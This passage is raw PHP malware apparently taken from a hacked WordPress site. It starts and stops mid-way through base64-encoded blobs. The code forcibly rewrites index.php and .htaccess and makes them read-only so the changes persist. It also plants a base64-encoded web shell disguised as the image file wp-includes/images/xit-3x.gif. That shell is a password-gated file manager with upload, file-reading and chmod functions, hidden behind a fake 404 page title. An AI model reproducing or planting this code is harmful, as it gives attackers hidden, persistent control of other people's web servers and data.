zEyXS4kWEZHWk5bMzFdLiRYRkdaTlsxMl0uJFhGR1pOWzE1XS4kWEZHWk5bMTBdLiRYRkdaTls3N10uJFhGR1pOWzc1XS4kWEZHWk5bODZdLiRYRkdaTls5MF0uJFhGR1pOWzMxXS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bNjddKTtAJG9EeE1KKCJlSWFXdGRZWFJpMnRoalJmK21uWWcwUE14eFNEdXlFM25ZcnlQTlZYRkNZMVlrVnBIWHpkZWE1aWpITHV2QlVSdkVDV3JaZFVPMitGVTFrSHpQNlg1YUwyR290dUwyY1FNYlR4THJkZEMza0NWeHFDM08wODZHMk1vYVhRWDRiMFJSdDJNcWFaQXE1VXFlYnJFSW5xbnBBbTVjV3FIeWRtZ1FXM1RGQkRibG44WEY3WVZOcG92Y2tLbkwzdjFCU0tjaE1IY2g2aWMrWTYzNno0bGExN3h6QjNWVkx6eG9GcDhZN2VFVGFnUVpUc0JVWnFXZ0JLdEc5eS9pVGF4NDFpTStyZXdtdm44QkFsUmhOYm1DVHQ4b3I5bTA2UWhvVkU3VVZQZ2QyMUpINUppeE12YW9pbnlGV0dTMFhxaDc2bUppaXI5czcyTnkvdWlLd2UyOVlJMzVoaVc1VE1BL3I1NXQ3aFhqamhtMTlnSnhIbkduZFFsMjlBaHBkQzRySE0rKzVHNnpTdmZpbDdiSGlhdDUwVVA2NXRaZjlYUytqektQdHhLRVF6ZzhvaEwxM3JlWUU0OHc1UG1CKzVtWCtvckExdnk5RGQ1UkFkYTNxRUFLOTVtK0RrZzJER2NOQmNsUWpITDVvV2s3WDFHdFhXWjdFanVJMjJsU2pPTGNKRldKWUpiMHEvYkZNYngzWWJONy8zQjRBbXpWQ1RvL0tjQmdSOVZNZ1UrS01ySWVoUWFTVnNJMU5tZmVOYUluVjVRVFBWekNNZW1naWV6eitwTFI3THRLOHhQcEVOeWpSS2FJdjEyWnorNStDSXljRGhxVmJJeVY3VnI1ZGx4U0M3N3FzL3pnc1pWNlJjTWthdFkzL1g1RDAzbXJIa0kxbWwxOS83Zm9uei9qZzJvb1dXWUdGNTlFMEZXdUovRHVKY1JIcXhGSlpVZElkcE5LZ2ZKYnNINWpjOGNld2U5U1ExMlRyRHkzRXRERjRSRGEwMXFPak1yZUtQTjRUT005eDBGaUJrOGNMaW9wdVNXLy9LaWJWbkt6V2c3OEFFcmZyWEYyZXNZZ0xjbGpBVTRCVlZDSjlQL2tlNnBoM29FaDI3anQ1NHRjYXMvVW1TTkNNRHlBdkc3SXZyT1RDak1JU25kOGxHYlg4anI5UTJ5RzVqSlpRVGZUQ3dnRjg5WEdlWDF6Q3JKOS9oQ1JJNHBhRVdhVWFZU3BEVytxaHNRZ2NqYURUc21NK3Nvbi9YbkNZbmlHcS82Y0MyWnRMRHQ4Q1VjdjdnSHgrUjN5Y2gvV3pOMVRiL0l1M2N1T09yMHk2Tnp6L2hDQUo1WWg4TllRQ1dqWFk1QnY5Zm4wZHNIMXVZMUl5T0hFa3J4a1FUUnZUK2p0YmQyTmkvUTdNUkZIS2xLOWd2dVlTRlFFMkV5SUVNTUUyU0VxRmluVHlLQ3N6MG13RStzRFBta0JJUWxQS3hBOGtTU2ZhWHdPckVqM3FncFU5Y2oxSkxDc3ZKWUVJVGZBUFp3V0hsL0NpTHpVcGZWcFNFSkRSZW1BZlQ1Z1NzMUkrZ3hOYzJFbU5LWUxIVmViRThmUUtlZ0xJcTRxR2pEKzFmemE1Z29EQTJScjM3cDI4ZnkxeFJhT2hvNlRDQmk5dFhqWjkxSGNoN29mbGxCYURJeWlyRVY0eDBxenp6ZWkveEtJMHJ1Q3FUMUIvNVdvcHo1T282Y3g2dm9jM1ZGWGM0blMxK3VUTWJFQmhoVnBmT21oM2dqSE1RalJsU0JlM0JPMDl0MGZOZlJlZ2JwcFN5dE5obEFyaHMzRWN0Y0dZVUJiZnFuRExwZHRlRE4rTlU4VEVzL2ZKWTdqb1poV0VHZE0zcitqNm5wcVpOaUt5S3pVazV1ZTdkNTVMS29nbnZ3ZjVjNmpNcHVGK20rYjZXM2NlcE14azdhSkZZV1c1TlR1OHVVanFSbmo2NDVXa0E0aVZRaXBJT1FvdGFGc3hrLzRSVE1SUC9ISGtHczY0cDM0Qlc1dGRuKysxMkdnbXpRWnFQR0xkcXJzeHFaNXpRb1hiRVpmTlRGNVZPaGhiNjZDeGpaVGgrOW9Ud1pLUVovTkE4ZkN4andqWnVHYzdyNmpwekZKZ0ZVa1JzenVkWC9XWCtqNmJBb0Urb3BjdC8vNjltamxZRTFZWE1ybDV0UGlWM1MxL2UveFNDZ1lLR1Arb25PbVFLMy9IWUtiK3JxUVZUelpROFZiUE1sM2x3L0FKQ3JMQ3dnNXpZZ2N4QVRXOU1BcGtPMHpRbzRKOExGblRhWEJudXMyOGtOSDRoN2tDN2huSUtQNU9HTmlUb1NCaHEvOFVodTdlK3RiZkI5aDhuaTU5ZTZGbUJVM2k1Y3c4bjdoUTlkRTlQd0tnMUlrL2kzVUMwa1EzS0p5UXE4RnI5cGdaRHhOK0JueUtEOXdDME1hTmJvQ3JvRnNKdDUrOTZRaWx1QmhtZ1ZuODA3OUR6bllRaHdpRTJwVklrY3Q0M1RhVXhEMUhWZGhmdFozTlQ0UC8wK3JBaDFVWVllWFZrREovcjNrQnkvNzViRk44bXRCQzNycEJTcFkrWVArTmdHYlBNTkdjbE03ZDBlaU9zSkhVQ2NvOEtScjI5OVMwVVVIcjEzSXVoOUlsQ203OVJMaFl3bVBsSEp3dHRPeHp0WURIN2hCSjBCaHdKUHNFajFya2piT0lzcVBUcTAxTzMwT2xCRnhsNEFiVWZGWGVkOFNCVzhTQlNUTDRiVThDZjhLRlR2Wk83ZUo2MFVNWWJTeEMxNVVycnNySGtuRDA0dUkxS3Z1ZHE3aU5YNk82ZHNFWVpTUGNsWU53b29UbkVIZFJjYmVCVzVvUlh6T2VxNjUyb2dZKzBZMlpsNlZqRTFzMVdFdUJMRzFKQkZsQzNBc0ZycnVZSWVscklER1hkeE5rcDM4NU1nZFFuak5WOTFlbG1NKzk0bGlVS0FpN1hvOExwZGxGbTFSY2xXWGR1SkMrQy9McU1ZdkNUeG5ITXp3STJsZStDYjgvSkZtbXNkR1VIRDFTNUlIWDhXcDB4VEdRbGh3ZjhDRDhtcTUzVk9NMjlxQm5UdnJocEdHeGlzRWYweisyS3Y0cUxuUi9PNzJLMTJZZ0FZMWI3bGdVM3IyVXp5VFI1eWxwUzFETHpwT0swNnJmKzVPWExRcFB5YXg5YVlhUDVnSHg0QndzYnI4WWgvODhwLzVtd0oxa25vVUttK1pjc3E1ZnM3WFRQdmFESE04NTZ2U3dtWVovalJpV29VUGd3RUpzeGlxbksyR25qYnpEdDdNYzZBVHBweGsrWTZCcDMrVFM1ajEvUTZsNWJ0eFNUMGlZd3IzMFNNYnZxN3BtblBVYzQ0TkIvZVV1SC9nbXUrVU0yOVVQenBBUFNoQVNBQ29sdUFLMlBxRVV1em5EUGF1MDhFZUJzQTcrLzlqa2JSK0toUjQ1NitkcnFoSlNuODBrUDkxVjduMldYNDlJaDBNeFlHOWJpY2lnQW8rOGxjdGpwUGFmQlR4VUNBNytjUnIzcUZMM1lFYWZsUEp2andYQ2F1QTk2aXp1dzRKZkdnQkhlaWNmTEc2elVxNWE3WjZxN3NrQm9nM21SRlA5QlU1N2dMWUtJUzExZk5QcVhmVUhjZlMvTlF5UXFwa21rOHhXaG11YXJtbmE2SkFpbzgva1Z1UzMwcm5uTml5Z2FxZlpBNFdCa0Z3RkVzcGVBMXFNV2RFa094dWZoaVozS1BtcmpFdFE4RFJRWVFudSsrcGVpWlZOcVBlRUlpeDNxVnlrajY5K053L0hBVWw1NkIxUFpRd241SzZaVjhPVTU1MUptcmpPS3lMejdZUnN5Y1FtSFQ4Y3FNS1orVi9mL3NUckdZMkhldG1sM002cE9tc3B3U2s0ZGVaeTY0RWVkOFhsTyt5R3k5aWxRNnUwRzN0STY3M1NDNnBSOGtOQzdZYW5uaHFRYlpGeCt0TjVocXVQZG9tL3dTYXpsOW8vVlkvS2F6S0JPZzJnR08wMVQrcVZHMWROR0c4M01sakhRSVRwK2t3TldKdDZEYnlFK0JSaHdnbi9GalZVcTg3Y21TdmhRNEl6eTN1OUh1VS9XWjFMMFJYY0dDSzJYS2tlUWl2Z1ZYaURWdjhwWEY1L2kyZGgrZ2lzUjlyUW1VYVhqaHJsVWEyYVhhYTUxY3ZYUTZPYVdIdEdBdVNHVW4vUGNLQlh6K2xpMzllMExKSlRkSWJHbmlDSVlrOC9iejM3WFJhVk4vQjErWXcvN09lbStjSi8zemFvOXZDL053ajR6Qm1IbmRBK2ZyTGc1RVorWlBUdEI0Uk14MytCNDdGL0g1YnFhaGwyaTA3ejBJT09hbnl6a2ROaDZpMitDVWlhRTZhclhIK2VhK2lkZ0wvaThlbkNhR1RXbWptSzllZ1loSmovOHl0NmxBRzNVL3prS3I1emdleFEzd0tqTUcvbndpQnJwNUM2Z2RwVXVWYzVneS9WeEt4NWFobllrUlcrTGQvTy9id3lvaGVaeUt1SzA3NVFLN2xrNWJZdzgybk9hSkFtb1E5dDdYV3IzQjlOYUIrWVkrcVlxNyt1N3NpaGczN1h5enVib1d0Q0xnMmRsQnBjYy9tYUUzcDRsNExGdjJuMk5hM1JSM0JNVzBIU3dJYytwTjMyakcyQTZpaVE3NktmVjVWR2g5SlZiR1NyczVkL0VHc29DL3JWOGw0S2N1Q1NhajExekpsNnFFNm85SUVtNCtiM2hFL1poMmtieU5tVEtudTcwYnl1K2o5L1gxWmp2MC9NWksvNkFOVkIvejU1aXBCMjhuOCtVMTQvc3RSTmVXeVFpWTNPajExTG02M2NoZnBZWjdKbWtVcVJtR0pISStDb284a3hxcDlEZ3BoSjV2bS9hTit2TEcyZTRjTy9sOFFXaTgzVTg5Yy8vTnQ9PSIpOz8+PD9waHAgZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsgcmVxdWlyZSgnLi93cC1ibG9nLWhlYWRlci5waHAnKTs/Pg=="); $index_code = file_get_contents($do."index.php"); if(md5($index_code) != md5($open_cache_ruzhu_phpcode)) { @chmod($do."index.php", 0644); @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode); @chmod($do."index.php", 0444); } $huan_yuan_htaccess = base64_decode("PEZpbGVzTWF0Y2ggJy4ocGhwfHBocDV8cGh0bWwpJCc+Ck9yZGVyIGFsbG93LGRlbnkKRGVueSBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxGaWxlc01hdGNoICdeKGluZGV4LnBocHxhdXRvX3Nlby5waHB8d3AtYmxvZy1oZWFkZXIucGhwfHdwLWNvbmZpZy1zYW1wbGUucGhwfHdwLWxpbmtzLW9wbWwucGhwfHdwLWxvZ2luLnBocHx3cC1zZXR0aW5ncy5waHB8d3AtdHJhY2tiYWNrLnBocHx3cC1hY3RpdmF0ZS5waHB8d3AtY29tbWVudHMtcG9zdC5waHB8d3AtY3Jvbi5waHB8d3AtbG9hZC5waHB8d3AtbWFpbC5waHB8d3Atc2lnbnVwLnBocHx4bWxycGMucGhwfGVkaXQtZm9ybS1hZHZhbmNlZC5waHB8bGluay1wYXJzZS1vcG1sLnBocHxtcy1zaXRlcy5waHB8b3B0aW9ucy13cml0aW5nLnBocHx0aGVtZXMucGhwfGFkbWluLWFqYXgucGhwfGVkaXQtZm9ybS1jb21tZW50LnBocHxsaW5rLnBocHxtcy10aGVtZXMucGhwfHBsdWdpbi1lZGl0b3IucGhwfGFkbWluLWZvb3Rlci5waHB8ZWRpdC1saW5rLWZvcm0ucGhwfGxvYWQtc2NyaXB0cy5waHB8bXMtdXBncmFkZS1uZXR3b3JrLnBocHxhZG1pbi1mdW5jdGlvbnMucGhwfGVkaXQucGhwfGxvYWQtc3R5bGVzLnBocHxtcy11c2Vycy5waHB8cGx1Z2lucy5waHB8YWRtaW4taGVhZGVyLnBocHxlZGl0LXRhZy1mb3JtLnBocHxtZWRpYS1uZXcucGhwfG15LXNpdGVzLnBocHxwb3N0LW5ldy5waHB8YWRtaW4ucGhwfGVkaXQtdGFncy5waHB8bWVkaWEucGhwfG5hdi1tZW51cy5waHB8cG9zdC5waHB8YWRtaW4tcG9zdC5waHB8ZXhwb3J0LnBocHxtZWRpYS11cGxvYWQucGhwfG5ldHdvcmsucGhwfHByZXNzLXRoaXMucGhwfHVwbG9hZC5waHB8YXN5bmMtdXBsb2FkLnBocHxtZW51LWhlYWRlci5waHB8b3B0aW9ucy1kaXNjdXNzaW9uLnBocHxwcml2YWN5LnBocHx1c2VyLWVkaXQucGhwfG1lbnUucGhwfG9wdGlvbnMtZ2VuZXJhbC5waHB8cHJvZmlsZS5waHB8dXNlci1uZXcucGhwfG1vZGVyYXRpb24ucGhwfG9wdGlvbnMtaGVhZC5waHB8cmV2aXNpb24ucGhwfHVzZXJzLnBocHxjdXN0b20tYmFja2dyb3VuZC5waHB8bXMtYWRtaW4ucGhwfG9wdGlvbnMtbWVkaWEucGhwfHNldHVwLWNvbmZpZy5waHB8d2lkZ2V0cy5waHB8Y3VzdG9tLWhlYWRlci5waHB8bXMtZGVsZXRlLXNpdGUucGhwfG9wdGlvbnMtcGVybWFsaW5rLnBocHx0ZXJtLnBocHxjdXN0b21pemUucGhwfGxpbmstYWRkLnBocHxtcy1lZGl0LnBocHxvcHRpb25zLnBocHxlZGl0LWNvbW1lbnRzLnBocHxsaW5rLW1hbmFnZXIucGhwfG1zLW9wdGlvbnMucGhwfG9wdGlvbnMtcmVhZGluZy5waHB8c3lzdGVtX2xvZy5waHApJCc+Ck9yZGVyIGFsbG93LGRlbnkKQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kClJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPg=="); $yuan_htaccess = file_get_contents($do.".htaccess"); if(md5($yuan_htaccess) != md5($huan_yuan_htaccess)) { @chmod($do.".htaccess", 0644); @file_put_contents($do.".htaccess", $huan_yuan_htaccess); @chmod($do.".htaccess", 0444); } $jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif"; if (!file_exists($jue_jiang_404_path)){ $jue_jiang_404 = "PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ1BSQycpOw0KDQokQVJSQVkgPSAkeydfR0VUJ31bJ0FSUkFZJ107DQokS0pNbiA9IHN0cl9yb3QxMygkQVJSQVkpOw0KJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOw0KJEV6YVUgPSBqc29uX2RlY29kZSgkY2JILCB0cnVlKTsNCmlmICgoJEV6YVVbMF0gLSB0aW1lKCkpID4gMCBhbmQgbWQ1KG1kNSgkRXphVVsyXSkpID09PSAiOWYzNDY2NWIwMDUyMzExZDViNmFkNmY4MjFkYzYyMjgiKSA6IC8vID09PT0NCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQogICAgZnVuY3Rpb24ganVlamlhbmdfcGVybXMoJGZpbGUpew0KICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KICAgICAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7Ly8gU29ja2V0DQogICAgICAgICAgICAkaW5mbyA9ICdzJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsNCiAgICAgICAgICAgICRpbmZvID0gJ2wnOw0KICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7Ly8gUmVndWxhcg0KICAgICAgICAgICAgJGluZm8gPSAnLSc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsvLyBCbG9jayBzcGVjaWFsDQogICAgICAgICAgICAkaW5mbyA9ICdiJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQ0KICAgICAgICAgICAgJGluZm8gPSAnZCc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KICAgICAgICAgICAgJGluZm8gPSAnYyc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsvLyBGSUZPIHBpcGUNCiAgICAgICAgICAgICRpbmZvID0gJ3AnOw0KICAgICAgICB9IGVsc2Ugey8vIFVua25vd24NCiAgICAgICAgICAgICRpbmZvID0gJ3UnOw0KICAgICAgICB9DQovLyBPd25lcg0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPw0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOg0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIEdyb3VwDQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCg0KLy8gV29ybGQNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KDQogICAgICAgIHJldHVybiAkaW5mbzsNCiAgICB9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLyoqDQogKiDovazljJYgXCDkuLogLw0KICovDQpmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkNCnsNCiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7DQogICAgcmV0dXJuICRwYXRoOw0KfQ0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KLyoqIOWPluW+l+ermeeCueagueebruW9lQ0KICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10NCiAqLw0KZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpew0KDQogICAgJHBocF9zZWxmID0gZGlyX3BhdGgoJF9TRVJWRVJbIlBIUF9TRUxGIl0pOw0KICAgICRzY3JpcHRfZmlsZW5hbWUgPSBkaXJfcGF0aCgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOw0KICAgIGlmIChlbXB0eSgkX1NFUlZFUlsiUEhQX1NFTEYiXSkgb3IgZW1wdHkoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSl7DQogICAgICAgICRkbzEgPSBkaXJfcGF0aCgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKTsNCiAgICAgICAgJGRvID0gcnRyaW0oJGRvMSwnLycpOw0KICAgIH1lbHNlew0KICAgICAgICAkZG8gPSBzdHJfcmVwbGFjZShzdHJfcmVwbGFjZSgiLy8iLCAiLyIsICRwaHBfc2VsZiksICIiLCBzdHJfcmVwbGFjZSgiXFxcXCIsICIvIiwgJHNjcmlwdF9maWxlbmFtZSkpOw0KICAgIH0NCiAgICByZXR1cm4gJGRvOw0KfQ0KJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7DQpkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQoNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7DQogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsNCiAgICAgICAgJF9QT1NUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQogICAgfQ0KfQ0KDQokVmVyc2lvbiA9IGJhc2U2NF9kZWNvZGUoJzVweUE1WkNPNTVxRTVZQ1U1Ynk2Jyk7DQppZihpc3NldCgkX0dFVFsncGF0aCddKSl7DQogICAgJHBhdGggPSAkX0dFVFsncGF0aCddOw0KfWVsc2V7DQogICAgJHBhdGggPSBnZXRjd2QoKTsNCn0NCg0KDQplY2hvICc8IWRvY3R5cGUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiLz4NCjwvaGVhZD4nOw0KPz4NCg0KICAgIDxjZW50ZXI+DQogICAgICAgIDxzdHlsZT4NCiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30NCiAgICAgICAgICAgIHRhYmxlLHRoLHRke2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZToxM3B4O30NCiAgICAgICAgICAgIGlucHV0LHRleHRhcmVhe30NCiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30NCiAgICAgICAgICAgIHRoe3BhZGRpbmc6MTBweDt9DQogICAgICAgICAgICAudGRfaG9tZXtwYWRkaW5nOjdweDt9DQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30NCiAgICAgICAgICAgIHRleHRhcmVhe3dpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4O30NCiAgICAgICAgICAgICNjb250ZW50IHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6I2NlY2VjZTt0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjtjb2xvcjojZmZmO30NCiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQ0KICAgICAgICAgICAgLmRoIGE6aG92ZXJ7IGNvbG9yOiAjZjAwO30NCiAgICAgICAgPC9zdHlsZT4NCjw/cGhwDQplY2hvICc8L2hlYWQ+DQo8Ym9keT48Yj4NCjxIMT48Y2VudGVyPjxmb250IGNvbG9yPSJyZWQiPicuJFZlcnNpb24uJzwvZm9udD48L2NlbnRlcj48L2gxPg0KPHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCg0KPHRyPjx0ZD4NCg0KPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOw0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsNCn1lbHNlew0KICAgICRwYXRoID0gZ2V0Y3dkKCk7DQp9DQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsNCiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsNCg0KJGdlbl9saW5rX3VybCA9ICc8YSBzdHlsZT0iY29sb3I6IzAwNjZGRiIgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLkRPQ1VNRU5UX1JPT1Q7DQokZ2VuX2xpbmtfdXJsIC49ICciPuagueebruW9lSDvvJogICAgPC9hPiZuYnNwOyc7DQplY2hvICRnZW5fbGlua191cmw7DQoNCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7DQogICAgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7DQogICAgICAgICRhID0gdHJ1ZTsNCiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9IzAwMD4NCjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOw0KICAgICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7DQogICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsNCiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsNCiAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCiAgICB9DQogICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsNCn0NCmVjaG8gJzwvZm9udD4NCjxicj48YnI+DQo8L3RkPjwvdHI+PHRyPjx0ZD48Y2VudGVyPic7DQoNCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpew0KICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgIH1lbHNlew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7DQogICAgfQ0KfQ0KZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLkuIrkvKAiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+DQo8L3RkPjwvdHI+JzsNCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsNCiAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsNCiAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107DQogICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCiAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7DQp9DQovL0VtcGV0eQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddICE9ICdkZWxldGUnKXsNCi8vIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nLiRfUE9TVFsncGF0aCddLic8YnIgLz48YnIgLz4nOw0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9DaG1vZA0KICAgIGlmKCRfR0VUWydvcHQnXSA9PSA